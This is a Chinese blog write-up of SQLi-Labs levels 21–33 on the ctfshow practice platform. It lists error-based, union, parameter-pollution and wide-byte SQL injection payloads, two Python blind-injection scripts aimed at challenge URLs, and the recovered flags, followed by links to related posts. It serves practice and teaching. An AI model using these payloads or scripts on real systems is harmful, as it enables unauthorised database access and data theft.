SQLLABS 20-33

最新推荐文章于 2024-05-18 15:04:49 发布
最新推荐文章于 2024-05-18 15:04:49 发布
阅读量136 收藏
点赞数
分类专栏： 刷题 CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yaoge1225/article/details/119009132
版权

sql
刷题 同时被 2 个专栏收录
16 篇文章 0 订阅
订阅专栏
CTF
15 篇文章 0 订阅
订阅专栏

SQLLABS 20-33

第二十一关

记得base64编码
admin’) or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
admin’) or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
admin’) or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=‘ctfshow’),0x26),1)#
admin’) or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=‘flag’),0x26),1)#
admin’) or updatexml(1,concat(0x26,(select right(group_concat(flag4),30) from ctfshow.flag),0x26),1)#
ctfshow{2e2f5457-7c1f-4c62-be9b-e60e06bcf98f}

第二十二关

把上面的’)改“
步骤差不多
ctfshow{58706930-1993-4c33-98d4-91326f15b2c2}

第二十三关

?id=1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)and ’
然后差不多
?id=1’or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=‘ctfshow’),0x26),1)and ’
?id=1’or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=‘flag’),0x26),1)and ’
?id=1’or updatexml(1,concat(0x26,(select left(group_concat(flag4),30) from ctfshow.flag),0x26),1)and ’
ctfshow{c3322c5b-e92d-4b1b-82d0-d18b4f075da6}

第二十四关

可以改管理员密码。。不太会，查不到库里面的数据

You tried to be smart, Try harder!!! 😦
别骂了别骂了。。
admin’ or if(1=2,1,sleep(5)) #让服务器炸了
二次注入加时间盲注

import requests
session=requests.session()
i=0
result=""

for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload = f'if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},sleep(1),0)'
        # payload = f'if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},sleep(0.7),0)'
        payload = 'if(ascii(substr((select group_concat(flag4)from(ctfshow.flag)),{},1))>{},sleep(1),0)'.format(i,mid)
        username = "admin' and {} or '2'='2".format(payload)
        url1 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php'
        data1 = {
            'username': username,
            'password': '1',
            're_password': '1',
            'submit': 'Register'
        }
        r1 = session.post(url1, data=data1)
        url2 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login.php'
        data2 = {
            'login_user': username,
            'login_password': '1',
            'mysubmit': 'Login',
        }
        r2 = session.post(url2, data=data2)
        url3 = 'http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/pass_change.php'
        data3 = {
            'current_password': '1',
            'password': '2',
            're_password': '2',
            'submit': 'Reset'
        }

        try:
            r = session.post(url3,data=data3,timeout=0.9)
            tail = mid

        except:
            head = mid + 1


    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第二十五关

报错注入,双写绕过也行
?id=1%27^extractvalue(1,concat(0x7e,(select(database()))))%23
?id=1’^updatexml(1,concat(0x26,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x26),1)%23
?id=1’^updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from infoorrmation_schema.tables where table_schema=‘ctfshow’),0x26),1)%23
?id=1’^updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from infoorrmation_schema.columns where table_name=‘flags’),0x26),1)%23
?id=1’^updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
?id=1’^updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
ctfshow{80fa6629-bc4a-4564-93b9-106eee1fe209}

第二十五关a

?id=-1 union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata%23爆库名
?id=-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=‘ctfshow’%23
?id=-1 union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name=‘flags’%23
?id=-1 union select 1,2,group_concat(flag4s) from ctfshow.flags%23

第二十六关

?id=1’^extractvalue(1,concat(0x7e,(select(database())))) and’
?id=1’^updatexml(1,concat(0x26,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x26),1)anandd’
?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’
?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’
?id=1’^updatexml(1,concat(0x26,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like(‘flags’)),0x26),1)anandd’
?id=1’^updatexml(1,concat(0x26,(select(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)anandd’
ctfshow{bbad336b-ea6c-4094-8888-c27b7a6ec0d0}
b-ea6c-4094-8888

第二十六关a

盲注

import requests
import time
url = "http://923efabc-d503-4bbd-a28d-8f1631620fe1.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload="?id=100')||if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{},1))>{},1,0)||('0".format(i,mid)
        # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
        #payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
        payload="?id=100')||if(ascii(substr((select(flag4s)from(ctfshow.flags)),{},1))>{},1,0)||('0".format(i,mid)
        # print(url+payload)

        r=requests.get(url+payload)
        if "Your Password:Dumb" in r.text:
            head=mid+1
        else:
            tail=mid
    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

第二十七关

大写绕过，也可以用上面的脚本，大写绕过
?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(schema_name))from(information_schema.schemata)),0x26),1)||‘0
?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(table_name))from(information_schema.tables)),0x26),1)||‘0
?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(column_name))from(information_schema.columns)),0x26),1)||‘0
?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(flag4s))from(ctfshow.flags)),0x26),1)||‘0
ctfshow{33995233-b6a5-4717-b457-76add1addd7c}
?id=1’^updatexml(1,concat(0x26,(sElect(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)||'0
3-b6a5-4717-b457-76add1addd7c}

第二十七关a

把教本的’)换成"
ctfshow{673c8abe-5548-48b4-b1b7-0338d3f4d45e}

第二十八关

用脚本闭合 ')

第二十八关a

不能报错注入用脚本

第二十九关

http参数污染
waf解析前者，服务器解析后者
?id=1&id=-2’union select 1,2,group_concat(flag4s) from ctfshow.flags %23
ctfshow{97c5088d-09f4-413c-a515-de989a1c32fe}

第三十关

?id=1&id=-2“union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十一关

?id=1&id=-2")union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十二关

宽字节注入 %df 吃
?id=-2%df’union select 1,2,group_concat(flag4s) from ctfshow.flags %23

第三十三关

一样

_Stary
关注
专栏目录
SQLi LABS Less-20 Cookie注入
wangyuxiang946的博客
06-23 1万+
SQLi第二十关，sqllabs less-20，sqli-labs less20
sqllabs less--29~31
m0_51607644的博客
01-31 166
首先介绍一下 29,30,31 这三关的基本情况： 服务器端有两个部分：第一部分为 tomcat 为引擎的 jsp 型服务器，第二部分为 apache 63 Mysql 注入—sqlilabs—lcamry 为引擎的 php 服务器，真正提供 web 服务的是 php 服务器。工作流程为：client 访问服务器， 能直接访问到 tomcat 服务器，然后 tomcat 服务器再向 apache 服务器请求数据。数据返回 路径则相反。 此处简单介绍一下相关环境的搭建。环境为 ubuntu14.04。此处以.
SQLilabs的第20关(HTTP请求头-Cookie)——报错注入
qq_73393033的博客
07-23 698
我们在判断闭合方式时发现，该网站会返回报错信息，又没有回显，因此适合使用报错注入。我们在cookie的后面加上一个'，返回；这说明闭合方式是'。
sqli-labs第二十关详解
金 帛的博客
05-07 2006
sql靶场第二十关详解，DNSlog注入
sqli-labs前20题
weixin_44843084的博客
05-24 420
Less-1 没有别的提示，先尝试用get输入ID id=1/id=1"有正常显示，id=1’出错(字符型注入) id=1'会出错 id=1'and '1'='1成功返回，可判断闭合方式为’ sql还有个注释方法是–+，测试可行 id=1' order by 4--+返回错误，表格为3列 并且显示的是后面两列 id=0' union select 1,2,(select group_concat(table_name) from information_schema.tables where ta
sqli-labs关卡20(基于http头部报错盲注)通关思路
zyh1588的博客
11-18 1019
小白回顾sql靶场第二十关
sqllabs less23~28a
m0_51607644的博客
01-31 206
less23 问题：分析代码发现它将get到的id值通过preg_replace函数进行了处理。导致无法使用‘–+’‘#’来注释SQL语句后边的内容。 应对策略：使用’单引号闭合来实现SQL语句的拼接 实现：?id=-1’ union select 1,(select group_concat(username,0x7e,password) from security.users),'3第一个’（单引号）闭合-1，第二个’（单引号）闭合后面 的。使用-1是因为为了让我们自己构造的数据 可以正常输出，第一个
sqllabs less-32~37宽字节出入
m0_51607644的博客
02-02 174
写在前边 %df 吃掉 \ 在mysql中，用于转义（即在字符串中的符号前加上”\”）的函数有addslashes，mysql_real_escape_string，mysql_escape_string等 大家都知道%df’ 被PHP转义（开启GPC、用addslashes函数，或者icov等），单引号被加上反斜杠\，变成了 %df\’，其中\的十六进制是 %5C ，那么现在 %df\’ =%df%5c%27。GB2312、GBK等这些都是常说的宽字节，实际上只有两字节。宽字节带来的安全问题主要是吃ASC
详细sqli-labs（1-65）通关讲解
热门推荐
m0_67401134的博客
07-30 1万+
如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。...
sqli-labs33-40
willow_liang的博客
11-07 225
Less33 php函数了解 addslashes (PHP 4, PHP 5, PHP 7) addslashes — 使用反斜线引用字符串 说明 addslashes ( string $str ) : string 返回字符串，该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符）。 一个使用 addslashes() 的例子是当你要往数据库中输入数据时。 例如，将名字 O'reilly 插入到数据库中，这就
sql-labs page2（21~38） 解题过程记录
小锤队长的博客
08-14 748
目录 less-21( 基于错误的复杂的字符型Cookie注入) less -22(基于错误的双引号字符型Cookie注入) less-23(基于错误的，过滤注释的GET型) less-24(二次注入) less-25(过滤了or和and) less-25a（过滤了or和and的盲注） less-26(过滤了注释和空格的注入) less-26(过滤了空格和注释的盲注) less...
sql—labs通关
m0_64674174的博客
10-24 615
主界面由于mysql_real_escape_string的过滤，将单引号，双引号等进行转义，无法进行注入，注册界面以及修改密码界面,由于注册界面以及修改密码见面的闭合方式不一样，可以达到二次注入的目的，创建。安装方法：解压到小皮面板的www的目录下，在sqllabs的sql-connections目录下的db-creds.inc文件，下图划横线位置设置自己的密码即可，从代码角度而言，可以很清楚的看出由单引号闭合，直接使用sql注入的一半流程即可，查询字段，判断回显，数据库——表——列，即可 为。
详细sqli-labs（1-20）通关讲解
最新发布
m0_57928318的博客
05-18 2226
获取数据库名时可以使用 left() 函数，这里使用 substr() 函数截取数据库名的每个字符，然后使用 ASCII() 函数判断这个字符的 ASCII 码值。我们可以看出，GET 方式和post 方式 的区别，GET方式 可以明显的 从 URL 中进行注入，POST可以在数据包中进行修改对应的字段来进行 SQL 注入。获取数据库名时，使用 LEFT() 函数进行穷举法的效率较低，使用 substr() 函数结合 ASCII() 函数进行判断可以使用二分法快速缩小范围。
sqli-labs通关详解（1-20关）
2302_81105681的博客
04-11 3242
1.首先判断闭合方式在我之前发布的文章中有详细的sql注入判断闭合的方法和原理，参考《sql注入实验原理》在1-6关，我们可以通过在参数后面加\的方法判断闭合\后面的符号就是闭合符号，由此可见第一关的闭合方式为'闭合2.判断字段数当我们输入?id=1' order by 4--+时页面显示没有第4字段，由此判断字段数为3.3.判断回显位因为有三个字段，所以我们使用命令判断出第2，3字段的内容回显在页面中4.爆数据库名我们可以将2或者3更改为database（）来使页面回显出数据库名。
sql-labs闯关26~31
qq_44663230的博客
09-03 2490
sql-labs闯关26-28a 29~31暂时不做
sqli-labs/Less-26关
m0_71299382的博客
11-20 1438
sqli-labs第二十六关
sql-labs page1 （1~20）解题过程记录
小锤队长的博客
08-09 1467
目录 Less1：（基于错误的GET单引号字符型注入） less 2：(GET型整型注入） less 3：(基于错误的GET单引号变形字符型注入) less 4:（基于错误的GET双引号字符型注入） less 5：(双注入GET单引号字符型注入) less 6：(双注入GET双引号字符型注入) less 7：（导出文件GET字符型注入） less 8：(布尔型单引号GET盲注...
sql-labs11-20关
jinhezhai的博客
01-13 701
11-20关都为post传递，这里我们可以用burrp_suit来进行抓包和改包，也可以用hackbar来进行注入。 ##11关单引号闭合的联合注入 1.先使用1' or 1=1#来找到他的闭合方式。 登录成功单引号闭合。 2.-1' order by 3# 找有多少个字段。 报错，换成2不报错说明有两个字段。 3.你就可以愉快的使用联合注入了！我只把语句写一下，具体详情请见我另一篇博客。 （...
sqllabs1-75
09-03
关于sqllabs1-75，根据提供的引用内容，无法直接得出与其相关的信息。可能需要更多的上下文或具体的问题来进一步讨论。<span class="em">1</span><span class="em">2</span><span class="em">3 #### 引用[.reference...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值